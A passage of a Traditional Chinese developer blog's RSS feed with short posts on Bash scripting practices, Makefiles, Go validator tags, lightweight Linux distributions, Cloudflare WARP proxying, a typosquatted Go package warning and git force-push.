&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Inefficient&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>item1&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;apple&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>item2&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;banana&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>item3&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;cherry&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Efficient&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>items&lt;span style="color:#f92672">=(&lt;/span>&lt;span style="color:#e6db74">&amp;#34;apple&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;banana&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;cherry&amp;#34;&lt;/span>&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> item in &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>items[@]&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$item&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="啟用-noclobber">啟用 Noclobber&lt;/h4>
&lt;div class="alert info">
&lt;span>&lt;i data-feather="info">&lt;/i>&lt;/span>
&lt;span>&lt;strong>避免檔案被意外覆寫。&lt;/strong>&lt;/span>
&lt;/div>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>set -o noclobber
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="使用函式">使用函式&lt;/h4>
&lt;div class="alert info">
&lt;span>&lt;i data-feather="info">&lt;/i>&lt;/span>
&lt;span>&lt;strong>函式可以封裝並重用程式碼，讓腳本更乾淨、重複更少。&lt;/strong>&lt;/span>
&lt;/div>
&lt;h4 id="高效的檔案操作">高效的檔案操作&lt;/h4>
&lt;div class="alert info">
&lt;span>&lt;i data-feather="info">&lt;/i>&lt;/span>
&lt;span>&lt;strong>進行檔案操作時，使用更有效率的技巧以降低資源消耗。&lt;/strong>&lt;/span>
&lt;/div>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Inefficient&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> read -r line; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$line&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span> &amp;lt; file.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Efficient&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> IFS&lt;span style="color:#f92672">=&lt;/span> read -r line; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$line&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span> &amp;lt; file.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="平行處理">平行處理&lt;/h4>
&lt;div class="alert info">
&lt;span>&lt;i data-feather="info">&lt;/i>&lt;/span>
&lt;span>&lt;strong>像 &lt;code>xargs&lt;/code> 和 GNU &lt;code>parallel&lt;/code> 這類工具非常實用。&lt;/strong>&lt;/span>
&lt;/div>
&lt;h4 id="錯誤處理">錯誤處理&lt;/h4>
&lt;div class="alert info">
&lt;span>&lt;i data-feather="info">&lt;/i>&lt;/span>
&lt;span>&lt;strong>健全的錯誤處理對建立可靠、易維護的腳本至關重要。&lt;/strong>&lt;/span>
&lt;/div>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Exit on Error: Using set -e ensures that your script exits immediately if any command fails, preventing cascading errors.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -e
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Custom Error Messages: Implement custom error messages to provide more context when something goes wrong.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>command1 &lt;span style="color:#f92672">||&lt;/span> &lt;span style="color:#f92672">{&lt;/span> echo &lt;span style="color:#e6db74">&amp;#34;command1 failed&amp;#34;&lt;/span>; exit 1; &lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Trap Signals: Use the `trap` command to catch and handle signals and errors gracefully.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>trap &lt;span style="color:#e6db74">&amp;#39;echo &amp;#34;Error occurred&amp;#34;; cleanup; exit 1&amp;#39;&lt;/span> ERR
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span> cleanup&lt;span style="color:#f92672">()&lt;/span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Cleanup code&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Validate Inputs: Always validate user inputs and script arguments to prevent unexpected behavior.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> -z &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$1&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Usage: &lt;/span>$0&lt;span style="color:#e6db74"> &amp;lt;argument&amp;gt;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Logging: Implement logging to keep track of script execution and diagnose issues.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>logfile&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;script.log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>exec &amp;gt; &amp;gt;&lt;span style="color:#f92672">(&lt;/span>tee -i $logfile&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>exec 2&amp;gt;&amp;amp;&lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;Script started&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="自動化複雜的系統管理工作">自動化複雜的系統管理工作&lt;/h4>
&lt;ol>
&lt;li>自動化備份&lt;/li>
&lt;li>系統監控&lt;/li>
&lt;li>使用者管理&lt;/li>
&lt;li>自動更新&lt;/li>
&lt;li>網路設定&lt;/li>
&lt;/ol></description></item><item><title>Google 基礎設施</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240924-google-infra/</link><pubDate>Tue, 24 Sep 2024 09:04:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240924-google-infra/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.kawabangga.com/posts/6624" target="_blank" rel="noopener">Google 十年五代網路架構&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>供應鏈攻擊</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240913-golang/</link><pubDate>Fri, 13 Sep 2024 09:41:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240913-golang/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://v2ex.com/t/1072079" target="_blank" rel="noopener">提高警惕，供應鏈攻擊就在你我身邊&lt;/a>&lt;/li>
&lt;/ul>
&lt;ul>
&lt;li>&lt;code>github.com/siruspen/logrus&lt;/code> 假&lt;/li>
&lt;li>&lt;code>github.com/sirupsen/logrus&lt;/code> 真&lt;/li>
&lt;/ul></description></item><item><title>適合舊電腦的輕量級 Linux 發行版</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240820-linux/</link><pubDate>Tue, 20 Aug 2024 12:38:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240820-linux/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.freecodecamp.org/news/lightweight-linux-distributions-for-your-pc/" target="_blank" rel="noopener">lightweight-linux-distributions-for-your-pc&lt;/a>&lt;/li>
&lt;/ul>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>名稱&lt;/th>
&lt;th>網站&lt;/th>
&lt;th>說明&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Puppy Linux&lt;/td>
&lt;td>&lt;a href="https://puppylinux-woof-ce.github.io/" target="_blank" rel="noopener">https://puppylinux-woof-ce.github.io/&lt;/a>&lt;/td>
&lt;td>這個小巧的系統不到 300MB，即使只有 512MB RAM 的機器也能順暢運行。&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Bodhi Linux&lt;/td>
&lt;td>&lt;a href="https://www.bodhilinux.com/" target="_blank" rel="noopener">https://www.bodhilinux.com/&lt;/a>&lt;/td>
&lt;td>系統需求只要 512MB RAM 與 500MHz 處理器。&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Peppermint OS&lt;/td>
&lt;td>&lt;a href="https://peppermintos.com/" target="_blank" rel="noopener">https://peppermintos.com/&lt;/a>&lt;/td>
&lt;td>只需 512MB RAM 就能運行，所以你的 Pentium 4 或 Core 2 Duo 老筆電也能跑。雖然 Peppermint OS 對本機資源需求很低，但它與雲端與 web 應用整合良好，並且內建與 Dropbox、Google Drive 等服務的深度整合。&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AntiX&lt;/td>
&lt;td>&lt;a href="https://antixlinux.com/" target="_blank" rel="noopener">https://antixlinux.com/&lt;/a>&lt;/td>
&lt;td>AntiX 的設計目標是能在只有 64MB RAM 與 Pentium II 處理器的系統上運行。&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Lubuntu&lt;/td>
&lt;td>&lt;a href="https://lubuntu.me/" target="_blank" rel="noopener">https://lubuntu.me/&lt;/a>&lt;/td>
&lt;td>Lubuntu 在只有 512 MB RAM 與 1 GHz 處理器的電腦上也能順暢運行。&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table></description></item><item><title>Go 文章</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240820-golang/</link><pubDate>Tue, 20 Aug 2024 08:55:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240820-golang/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://juejin.cn/post/6863765115456454664" target="_blank" rel="noopener">學會 gin 參數校驗之 validator 函式庫，看這一篇就夠了&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="字串約束">字串約束&lt;/h3>
&lt;p>excludesall：不包含參數中任意的 UNICODE 字元，例如 excludesall=ab&lt;/p>
&lt;p>excludesrune：不包含參數表示的 rune 字元，excludesrune=asong&lt;/p>
&lt;p>startswith：以參數子字串為前綴，例如 startswith=hi&lt;/p>
&lt;p>endswith：以參數子字串為後綴，例如 endswith=bye。&lt;/p>
&lt;p>contains=：包含參數子字串，例如 contains=email&lt;/p>
&lt;p>containsany：包含參數中任意的 UNICODE 字元，例如 containsany=ab&lt;/p>
&lt;p>containsrune：包含參數表示的 rune 字元，例如 &lt;code>containsrune=asong&lt;/code>&lt;/p>
&lt;p>excludes：不包含參數子字串，例如 excludes=email&lt;/p>
&lt;h3 id="範圍約束">範圍約束&lt;/h3>
&lt;p>範圍約束的欄位型別分為三種：&lt;/p>
&lt;p>對於數值，我們可以約束其值
對於切片、陣列和 map，我們可以約束其長度
對於字串，我們可以約束其長度&lt;/p>
&lt;h4 id="常用-tag-介紹">常用 tag 介紹：&lt;/h4>
&lt;p>ne：不等於參數值，例如 ne=5
gt：大於參數值，例如 gt=5
gte：大於等於參數值，例如 gte=50
lt：小於參數值，例如 lt=50
lte：小於等於參數值，例如 lte=50
oneof：只能是列舉出的值其中之一，這些值必須是數值或字串，以空格分隔；如果字串中有空格，請用單引號包起來，例如 oneof=male female。
eq：等於參數值，注意與 len 不同。對於字串，eq 約束字串本身的值，而 len 約束字串長度。例如 eq=10
len：等於參數值，例如 len=10
max：小於等於參數值，例如 max=10
min：大於等於參數值，例如 min=10&lt;/p>
&lt;h3 id="欄位約束">欄位約束&lt;/h3>
&lt;p>eqfield：定義欄位間相等約束，用於約束同一結構體中的欄位。例如：eqfield=Password
eqcsfield：約束同一結構體中欄位等於另一個欄位（相對），確認密碼時可以使用，例如：eqcsfield=ConfirmPassword
nefield：用來約束兩個欄位是否不同，確認兩種顏色是否一致時可以使用，例如：nefield=Color1
necsfield：約束兩個欄位是否不同（相對）&lt;/p>
&lt;h3 id="常用約束">常用約束&lt;/h3>
&lt;p>unique：指定唯一性約束，不同型別處理不同：&lt;/p></description></item><item><title>在 Docker 環境使用 Traefik v3 與 MinIO 快速搭建私有化物件儲存服務</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240806-best-practices-for-traefik-3-and-minio-in-docker-getting-started-quickly/</link><pubDate>Tue, 06 Aug 2024 12:26:26 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240806-best-practices-for-traefik-3-and-minio-in-docker-getting-started-quickly/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://soulteary.com/2024/08/05/best-practices-for-traefik-3-and-minio-in-docker-getting-started-quickly.html" target="_blank" rel="noopener">在 Docker 環境使用 Traefik v3 與 MinIO 快速搭建私有化物件儲存服務&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/soulteary/traefik-minio-example.git" target="_blank" rel="noopener">https://github.com/soulteary/traefik-minio-example.git&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://soulteary.com/2024/08/04/best-practices-for-traefik-3-in-docker-getting-started-quickly.html#docker-%E7%8E%AF%E5%A2%83" target="_blank" rel="noopener">在 Docker 環境使用 Traefik 3 的最佳實務：快速上手&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>寫 Web 也可以用 Makefile：好好管理你的環境流程</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240805-use-makefile-to-manage-workflows-for-web-projects/</link><pubDate>Mon, 05 Aug 2024 17:21:24 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240805-use-makefile-to-manage-workflows-for-web-projects/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.goodjack.tw/2023/01/use-makefile-to-manage-workflows-for-web-projects.html" target="_blank" rel="noopener">寫 Web 也可以用 Makefile：好好管理你的環境流程&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gagor.pro/2024/02/how-i-stopped-worrying-and-loved-makefiles/" target="_blank" rel="noopener">How I stopped worrying and loved Makefiles&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>注意：Makefile 的縮排應使用 Tab，否則會出現語法問題。&lt;/strong>&lt;/p>
&lt;h2 id="makefile-的主要本體target">Makefile 的主要本體：Target&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-makefile" data-lang="makefile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">up&lt;/span>&lt;span style="color:#f92672">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cp .env.example .env
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> docker compose up -d workspace
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">stop&lt;/span>&lt;span style="color:#f92672">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> docker compose stop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">zsh&lt;/span>&lt;span style="color:#f92672">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> docker compose exec workspace zsh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>本例有三個 Target：&lt;code>up&lt;/code>、&lt;code>stop&lt;/code>、&lt;code>zsh&lt;/code>。Makefile 預設將第一個 Target 視為 &lt;a href="https://www.gnu.org/software/make/manual/html_node/Goals.html" target="_blank" rel="noopener">Goal&lt;/a>(不能是點（dot）開頭的 Target)，是專案的最主要流程，可以直接用 &lt;code>make&lt;/code> 執行。以本例來說，執行 &lt;code>make&lt;/code> 和 &lt;code>make up&lt;/code> 是一樣的結果。&lt;/li>
&lt;li>但其實剛剛複製檔案的例子不是常見的 Make 用法。Make 的強項是在自動判斷有沒有必要執行每個 Target 的流程。例如我們常常將機敏資料放在 .env 中，若 .env 已經存在，就不應該再複製 .env.example 覆寫過去了。這時候我們可以把 .env 做成一個 Target：&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-makefile" data-lang="makefile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">up&lt;/span>&lt;span style="color:#f92672">:&lt;/span> .env
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> docker compose up -d workspace
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">.env&lt;/span>&lt;span style="color:#f92672">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cp .env.example .env
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Target 名稱預設是被視為檔名的。Make 之所以稱為 make，就是想要「製作」出指定的 Target，當符合指定條件時（如檔案不存在）才會執行 Target 的內容。
&lt;ul>
&lt;li>以本例來說，我們執行 &lt;code>up&lt;/code> Target 時，如果 .env 不存在，就會先執行 &lt;code>.env&lt;/code> Target 以複製出 .env，接著才會啟動 workspace container。如果執行 &lt;code>up&lt;/code> Target 時 .env 已經存在，就會略過 &lt;code>.env&lt;/code> Target，直接啟動 workspace container。&lt;/li>
&lt;li>同樣地，如果我們目錄中有「up」這個檔案， &lt;code>up&lt;/code> Target 就不會被執行了。這時我們可以設定 &lt;a href="https://www.gnu.org/software/make/manual/html_node/Phony-Targets.html" target="_blank" rel="noopener">Phony Target&lt;/a>，告訴 Make 哪些 Target 不是檔案的名稱，而是單純流程的命名。寫法如下：&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-makefile" data-lang="makefile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">.PHONY&lt;/span>&lt;span style="color:#f92672">:&lt;/span> up stop zsh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="來點變數">來點變數&lt;/h2>
&lt;p>Make 當然也支援變數（&lt;a href="https://www.gnu.org/software/make/manual/html_node/Setting.html" target="_blank" rel="noopener">Variable&lt;/a>），與常見的 Unix 環境變數慣例相同，我們習慣用 SCREAMING_SNAKE_CASE 表示法（全大寫和底線的表示法）。並且在使用時以 &lt;code>$()&lt;/code> 包裹變數名稱。&lt;/p></description></item><item><title>黑帽 Go</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240801-black-hat-go/</link><pubDate>Thu, 01 Aug 2024 15:10:22 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240801-black-hat-go/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://nostarch.com/blackhatgo" target="_blank" rel="noopener">https://nostarch.com/blackhatgo&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/blackhat-go/bhg" target="_blank" rel="noopener">https://github.com/blackhat-go/bhg&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/TralahM/blackhat-go" target="_blank" rel="noopener">https://github.com/TralahM/blackhat-go&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.yuque.com/yyrise/black-hat-go" target="_blank" rel="noopener">黑帽 Go&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/YYRise/bhg" target="_blank" rel="noopener">https://github.com/YYRise/bhg&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>隱藏於 Cloudflare 的全球網路之中</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240801-hide-in-cf/</link><pubDate>Thu, 01 Aug 2024 14:35:24 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240801-hide-in-cf/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dmesg.app/hide-in-cf.html" target="_blank" rel="noopener">隱藏於 Cloudflare 的全球網路之中&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>一種方式是使用 Cloudflare WARP，讓 WARP 以 proxy mode 執行，而不是接管全域流量。&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>warp-cli register
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># WARP 監聽本機的 11111 埠&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warp-cli set-proxy-port &lt;span style="color:#ae81ff">11111&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># WARP proxy mode&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warp-cli set-mode proxy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 永久啟用&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warp-cli enable-always-on
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>https_proxy&lt;span style="color:#f92672">=&lt;/span>socks5://127.0.0.1:11111 http_proxy&lt;span style="color:#f92672">=&lt;/span>socks5://127.0.0.1:11111 go run main.go
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="2">
&lt;li>另一種方式是使用 Cloudflare Workers，請求由 Workers 轉發。&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">export&lt;/span> &lt;span style="color:#66d9ef">default&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">async&lt;/span> &lt;span style="color:#a6e22e">fetch&lt;/span>(&lt;span style="color:#a6e22e">request&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#a6e22e">Request&lt;/span>)&lt;span style="color:#f92672">:&lt;/span> Promise {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">/**
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"> * 將 `remote` 替換為你想要轉發請求的主機
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">remote&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;https://example.com&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">await&lt;/span> &lt;span style="color:#a6e22e">fetch&lt;/span>(&lt;span style="color:#a6e22e">remote&lt;/span>, &lt;span style="color:#a6e22e">request&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>};
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Git 強制推送</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240726-git/</link><pubDate>Fri, 26 Jul 2024 12:24:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240726-git/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.jvt.me/posts/2021/10/23/undo-force-push/" target="_blank" rel="noopener">https://www.jvt.me/posts/2021/10/23/undo-force-push/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.jvt.me/posts/2018/09/18/safely-force-git-push/" target="_blank" rel="noopener">https://www.jvt.me/posts/2018/09/18/safely-force-git-push/&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git push --force-with-lease
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>以 Go 為例，圖解 Data Alignment 如何影響記憶體使用量</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240708-illustrate-how-data-alignment-affects-memory-usage-d29bf9d5bf08/</link><pubDate>Mon, 08 Jul 2024 17:52:37 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240708-illustrate-how-data-alignment-affects-memory-usage-d29bf9d5bf08/</guid><description>&lt;ul>
